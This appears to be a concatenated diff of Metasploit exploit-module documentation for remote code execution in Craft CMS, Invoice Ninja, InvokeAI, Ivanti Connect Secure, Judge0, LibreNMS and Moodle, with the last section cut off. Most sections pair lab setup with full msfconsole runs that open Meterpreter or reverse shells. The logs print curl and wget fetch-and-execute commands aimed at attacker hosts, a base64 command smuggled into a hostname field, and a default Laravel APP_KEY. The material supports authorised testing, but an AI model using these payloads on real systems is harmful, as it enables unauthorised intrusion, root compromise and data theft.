[*] Sending stage (40004 bytes) to 172.16.199.1
[+] Deleted 1nZaWHvP
[+] Deleted kFAqQcbWxs.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:60031) at 2024-11-11 10:42:06 -0800
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : c2064983b0e1
OS : Linux c2064983b0e1 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct 3 10:19:48 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,275 @@
## Vulnerable Application
This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**.
The vulnerability lies in improper handling of Twig templates, which can be exploited
to inject and execute arbitrary PHP code on the server via crafted HTTP requests.
---
### Affected Versions
- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2`
- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2`
- **3.x Series**: `>= 3.0.0`, `< 3.9.14`
---
### Setting Up a Vulnerable Lab
To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.
#### Docker Setup
Install a specific vulnerable version of Craft CMS:
```bash
mkdir exploit-craft && \
cd exploit-craft && \
# Configure DDEV (https://ddev.com/) project for Craft CMS \
ddev config \
--project-type=craftcms \
--docroot=web \
--create-docroot \
--php-version="8.2" \
--database="mysql:8.0" \
--nodejs-version="20" && \
# Create the DDEV project
ddev start -y && \
# Create Craft CMS with the specified version
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
# Install a vulnerable Craft CMS version
ddev composer require "craftcms/cms:5.5.0" \
--no-scripts \
--no-interaction --with-all-dependencies && \
# Set the security key for Craft CMS
ddev craft setup/security-key && \
# Install Craft CMS
ddev craft install/craft \
--username=admin \
--password=password123 \
--email=admin@example.com \
--site-name=Testsite \
--language=en \
--site-url='$DDEV_PRIMARY_URL' && \
# Enable register_argc_argv for PHP
mkdir -p .ddev/php/ && \
echo "register_argc_argv = On" > .ddev/php/php.ini && \
ddev restart && \
# Launch the project
echo 'Setup complete. Launching the project.' && \
ddev launch
```
---
## Verification Steps
1. Start the vulnerable Craft CMS instance using the steps above.
2. Launch `msfconsole`.
3. Use the module: `use exploit/linux/http/craftcms_ftp_template`.
4. Set `RHOSTS` to the target Craft CMS instance.
5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed.
6. Execute the exploit with the `run` command.
7. If successful, the module will execute the payload on the target.
---
## Options
No option
## Scenarios
#### Successful Exploitation Against Craft CMS 5.5.0
**Setup**:
- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`).
- Metasploit Framework.
**Steps**:
To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:
1. Start `msfconsole`:
```bash
msfconsole
```
2. Load the module:
```bash
use exploit/linux/http/craftcms_ftp_template
```
3. Set the `RHOSTS` option to the target Craft CMS instance, for example:
```bash
set RHOSTS exploit-craft.ddev.site
```
4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default:
- `RPORT` is set to `80`.
- `TARGETURI` is set to `/`.
5. Set the payload for exploitation. For example:
```bash
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
```
6. Set the local listener address and port:
```bash
set LHOST 192.168.1.36
set LPORT 4444
```
7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed:
```bash
set SRVPORT 9090
set FETCH_SRVPORT 8081
set FETCH_URIPATH /custom_payload_path
```
8. Run the exploit:
```bash
exploit
```
**Expected Results**:
If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:
```bash
msf6 exploit(linux/http/craftcms_ftp_template) > options
Module options (exploit/linux/http/craftcms_ftp_template):
Name Current Setting Required Description
---- --------------- -------- -----------
PASVPORT 0 no The local PASV data port to listen on (0 is random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
oit.html
RPORT 80 yes The target port (TCP)
SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine
or 0.0.0.0 to listen on all addresses.
SRVPORT 9090 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8081 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix/Linux Command Shell
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/craftcms_ftp_template) > exploit
[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu&
[*] Exploit running as background job 57.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/craftcms_ftp_template) >
[*] Fetch handler listening on 192.168.1.36:8081
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Performing vulnerability check...
[+] The target is vulnerable.
[*] Starting FTP service...
[*] Started service listener on 192.168.1.36:9090
[*] FTP server started on 192.168.1.36:9090
[*] Sending HTTP request to trigger the payload...
[*] Triggering HTTP request...
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_cwd
[*] -> 250 "/default" is current directory.
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 550 /default is not retrievable.
[*] on_client_command_mdtm
[*] -> 550 /default is not retrievable.
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_cwd
[*] -> 550 Not a directory
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 213 154
[*] on_client_command_mdtm
[*] -> 213 20250110170738
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_cwd
[*] -> 550 Not a directory
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 213 154
[*] on_client_command_mdtm
[*] -> 213 20250110170738
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 213 154
[*] on_client_command_epsv
[*] -> 502 EPSV command not implemented.
[*] on_client_command_retr
[*] -> 150 Opening data connection for /default/index.twig
[*] -> 226 Transfer complete.
[*] on_client_command_quit
[*] -> 221 Goodbye.
[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 172.26.0.2 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.26.0.2
[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100
msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14
[*] Starting interaction with 14...
meterpreter > sysinfo
Computer : 172.26.0.2
OS : Debian 12.8 (Linux 5.15.0-130-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
[*] Waiting for FTP client connections...
[*] Shutting down FTP service...
[*] Server stopped.
```
@@ -0,0 +1,112 @@
## Vulnerable Application
Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
A Remote Code Execution vulnerability in Invoice Ninja (>= `5.8.22` <= `5.10.10`) allows remote unauthenticated
attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
ciphered value which is unsafe unserialized, if an attacker has access to the secret `APP_KEY`.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.
The following release was tested.
* Invoice Ninja `5.10.10` on Ubuntu 22.04
## Installation steps to install Invoice Ninja on a self-hosted platform
`wget https://github.com/invoiceninja/dockerfiles/archive/refs/tags/5.8.22.zip`
`unzip 5.8.22.zip`
`cd dockerfiles-5.8.22`
Replace inside `docker-compose.yml`
FROM `image: invoiceninja/invoiceninja:5` TO `image: invoiceninja/invoiceninja:5.8.22`
Replace in `env`
`APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`
Then, execute `docker-compose up`
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/linux/http/invoiceninja_uauth_rce_cve_2024_55555`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
## Options
### APP_KEY
This option is required if the BRUTE_FORCE option is not used.
It is the Laravel APP_KEY with a default key: `base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`.
### BRUTEFORCE
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
## Scenarios
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - PHP Command target
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
```msf
msf6 > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.6:443 can be exploited.
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
[*] Grabbing the cookie with the XSRF-TOKEN.
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|6IWTnJv2f3lL1nbKRbl6LwJixPeRF5grQVTFTIuB
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.201.6
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60120) at 2025-02-23 09:47:28 +0000
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : cuckoo
OS : Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
Meterpreter : php/linux
meterpreter > pwd
/usr/share/nginx/invoiceninja/public
meterpreter >
```
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - Unix/Linux Command target
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
```msf
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1
target => 1
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.6:443 can be exploited.
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
[*] Grabbing the cookie with the XSRF-TOKEN.
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt.
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|3epElAO1qNeckBzHOytBrNnGrvRJSyeCBsahBkSO
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.6:60340) at 2025-02-23 09:49:15 +0000
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
pwd
/usr/share/nginx/invoiceninja/public
```
## Limitations
No limitations.
@@ -0,0 +1,141 @@
## Vulnerable Application
InvokeAI has a critical vulnerability leading to remote code execution
in the /api/v2/models/install API through unsafe model deserialization.
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
This functionality allows attackers to embed malicious code in model files that execute upon loading.
The vulnerability affects:
* 4.0.0 <= InvokeAI <= 5.4.2
This module was successfully tested on:
* InvokeAI 5.3.1 installed on Ubuntu 22.04
### Installation
Follow the [official instructions](https://invoke-ai.github.io/InvokeAI/installation/manual/#walkthrough)
1. Install uv:
`curl -LsSf https://astral.sh/uv/install.sh | sh`
2. Create a directory for your installation:
```bash
mkdir ~/invokeai
cd ~/invokeai
```
3. Create a virtual environment in that directory:
`uv venv --relocatable --prompt invoke --python 3.11 --python-preference only-managed .venv`
4. Activate the virtual environment:
`source .venv/bin/activate`
5. Install the invokeai package:
```bash
uv pip install invokeai==5.3.1 --python 3.11 --python-preference only-managed --index=https://download.pytorch.org/whl/cpu --force-reinstall
```
6. Deactivate and reactivate your venv so that the invokeai-specific commands become available in the environment:
`deactivate && source .venv/bin/activate`
7. Edit ~/invokeai/invoke.yaml:
```yaml
# Internal metadata - do not edit:
schema_version: 4.0.2
# Put user settings here - see https://invoke-ai.github.io/InvokeAI/features/CONFIGURATION/:
host: 0.0.0.0 # serve the app on your local network
```
8. Run the application, specifying the directory you created earlier as the root directory:
`invokeai-web --root ~/invokeai`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/invokeai_rce_cve_2024_12029`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter
## Options
## Scenarios
```
msf6 > use exploit/linux/http/invokeai_rce_cve_2024_12029
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > options
Module options (exploit/linux/http/invokeai_rce_cve_2024_12029):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9090 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME CdRqUbPlDQJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 5.3.1 detected.
[*] Using URL: http://192.168.56.1:8081/Z8KmlibT
[*] Server started.
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:48294) at 2025-02-16 15:24:41 +0900
[*] Server stopped.
meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer : 192.168.56.17
OS : Ubuntu 22.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,114 @@
## Vulnerable Application
This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to
achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 are
vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also
vulnerable but this module doesn't support this software.
Valid administrative credentials are required. A non-administrative user is also
required and can be created using the administrative account, if needed.
Finally, the `Client Log Upload` feature needs to be enabled. This can also
be done using the administrative interface (see the Installation Steps section
below), if it is not enabled already.
### Process Overview
First, the module will log into the administrative interface and check if the version
is vulnerable. Then, it will connect to the user interface using non-privileged
credentials and upload a log file archive containing the payload. This file is
stored as a known path on the server, which can be retrieved from the
administrative interface. Then, it leverages the CRLF vulnerability by creating
a Certificate Signing Request and passing a specially crafted OpenSSL
configuration. This configuration instructs OpenSSL to use a custom
cryptographic engine, which points to the log file path (our payload). The
payload is immediately executed, giving RCE as the root user on the appliance.
This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647).
### Installation Steps
Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series)
with a vulnerable Ivanti Connect Secure installed.
Note that it is not possible to download a trial version of a Virtual Appliance
unless you contact sales and request a demo.
Log into to the admin interface (https:/<IP>/admin) to proceed with the following requirements:
#### Create a normal user
- In the `Authentication` menu, select `Auth. Servers`.
- Select the `System Local` `Authentication/Authorization Servers` or any
server with the type `Local Authentication`. Don't select the
`Administrators` server since we need a non-administrative account.
- Click on the `Users` tab and then `New`.
- Fill the registration form and click `Save Changes`.
#### Enable Client Log
- Go to `Users` > `User Roles` and click on the `Users` role.
- Go to `General` > `Session Options`.
- Select `Enable Upload Logs` under the `Upload logs` section.
- Click `Save Changes`.
## Verification Steps
1. Start msfconsole
1. Do: `use linux/http/ivanti_connect_secure_rce_cve_2024_37404`
1. Do: `run verbose=true lhost=<local host> rhosts=<remote host> admin_username=<admin username> admin_password=<admin password> username=<normal user> password=<user password>`
1. You should get a Meterpreter session
1. Make sure the admin and the normal user have been logged out by logging in
the web interfaces with a web browser (you should have any warning saying a
session is already active)
1. Make sure the cleanup has been done correctly by checking `System` > `Log/Monitoring`
## Options
### ADMIN_USERNAME
Administrative username to authenticate with.
### ADMIN_PASSWORD
Administrator password to authenticate with.
### USERNAME
Normal user username to authenticate with.
### PASSWORD
Normal user password to authenticate with.
## Scenarios
### Ivanti Connect Secure version 22.3R1 (build 1647)
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890
[*] Started reverse TCP handler on 192.168.211.69:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'...
[!] The admin msfadmin is already logged in
[*] Getting the version...
[+] Found version 22.3R1 (build 1647)
[+] The target appears to be vulnerable.
[*] Uploading the payload...
[*] Login to the user interface with username 'msfuser' and password '1234567890'...
[*] Uploading the log file...
[*] Logging the user out...
[*] Getting the log file name...
[*] Triggering the payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (1017704 bytes) to 192.168.211.200
[*] Cleaning up...
[*] Deleting the log file (payload)...
[*] Logging the administrator out...
[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.211.200
OS : (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
@@ -0,0 +1,121 @@
## Vulnerable Application
Judge0 does not account for symlinks placed inside the sandbox directory,
which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox.
The vulnerability affects:
* Judge0 <= 1.13.0
This module was successfully tested on:
* Judge0(v1.13.0) installed with Docker on Ubuntu 20.0.4
### Installation
1. (Optional) Set cgroup to v1
```bash
sudo nano /etc/default/grub
# add this line at the top, and save:
GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0"
sudo update-grub
sudo reboot
```
2. Install Judge0
```bash
wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip
unzip judge0-v1.13.0.zip
cd judge0-v1.13.0
```
3. Start Judge0
```bash
docker compose up
```
4. (Optional) When Judge0 does not work, try this
```bash
docker compose up --force-recreate server
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter
## Options
## Scenarios
```
msf6 > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options
Module options (exploit/linux/http/judge0_sandbox_escape_cve_2024_28189):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 2358 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME JRzyWcrcJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Version 1.13.0 detected, which is vulnerable
[+] The target appears to be vulnerable.
[*] Writing cron job to /etc/cron.d/dUTuziNy
[*] Use language: 77, COBOL (GnuCOBOL 2.2)
[+] Deleted /etc/cron.d/dUTuziNy
[+] Deleted /root/SVENuNNy
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:49024) at 2024-10-29 12:56:04 +0900
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.18.0.5
OS : Debian 10.2 (Linux 5.4.0-196-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/root
meterpreter >
```
@@ -0,0 +1,122 @@
## Vulnerable Application
An authenticated attacker can create dangerous directory names on the system and
alter sensitive configuration parameters through the web portal.
Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
thus achieving arbitrary code execution.
The vulnerability affects:
* 24.9.0 <= LibreNMS <= 24.9.1
This module was successfully tested on:
* LibreNMS 24.9.0 installed on Ubuntu 22.04
* LibreNMS 24.9.1 installed on Ubuntu 22.04
### Installation
1. Follow the [official instructions](https://docs.librenms.org/Installation/Install-LibreNMS/).
After git clone, change version: `git checkout tags/24.9.1`.
2. Comment out the last line in `/etc/cron.d/librenms`:
`19 0 * * * librenms /opt/librenms/daily.sh >> /dev/null 2>&1`.
Otherwise, the version will be updated to the latest, causing the exploit to fail.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
5. (Optional) Do: `php artisan device:poll all` on the victim machine or wait up to 5 minutes (default cron setting)
6. You should get a meterpreter
## Options
### USERNAME (required)
User name for LibreNMS.
### PASSWORD (required)
Password for LibreNMS.
### PATH (required)
LibreNMS installed location. Default is `/opt/librenms`.
### WAIT (required)
Wait time (seconds) for cron to poll the device. Default is `315`.
## Scenarios
```
msf6 > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options
Module options (exploit/linux/http/librenms_authenticated_rce_cve_2024_51092):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password for LibreNMS
PATH /opt/librenms yes LibreNMS installed location
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes User name for LibreNMS
VHOST no HTTP server virtual host
WAIT 315 yes Wait time (seconds) for cron to poll the device
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME n no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH s no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Successfully logged into LibreNMS.
[+] The target appears to be vulnerable. LibreNMS version 24.9.1 detected, which is vulnerable.
[*] Try to add host: 'f;echo d2dldCAtcU8gLi9uIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9zO2NobW9kICt4IC4vbjsuL24m|base64 -d|bash;#', length: 100
[*] Added host.
[*] Actual payload: wget -qO ./n http://192.168.56.1:8080/s;chmod +x ./n;./n&
[*] Waiting up to 315 seconds for cron to poll the device...
[*] Sending stage (3045380 bytes) to 192.168.56.17
[+] Deleted n
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:40228) at 2025-01-17 21:19:20 +0900
[*] Reset snmpget to default.
[*] Deleted device: 353
meterpreter > getuid
Server username: librenms
meterpreter > sysinfo
Computer : 192.168.56.17
OS : Ubuntu 22.04 (Linux 6.8.0-50-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,101 @@
## Vulnerable Application
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
By default, the application will run in the context of www-data, so only a limited shell can be obtained.
Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.
Affected versions include:
* 4.4 to 4.4.1
* 4.3 to 4.3.5
* 4.2 to 4.2.8
* 4.1 to 4.1.11
Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).
The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).
## Testing
Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).
**Successfully tested on**
- Moodle v4.4.1 on Ubuntu 20.04 LTS
## Verification Steps
1. Deploy Moodle
2. Start `msfconsole`
3. `use exploit/linux/http/moodle_rce`
4. `set USERNAME <USER>`
5. `set PASSWORD <PASSWORD>`
6. `set CMID <ID>`
7. `set COURSEID <ID>`
8. `set RHOSTS <IP>`
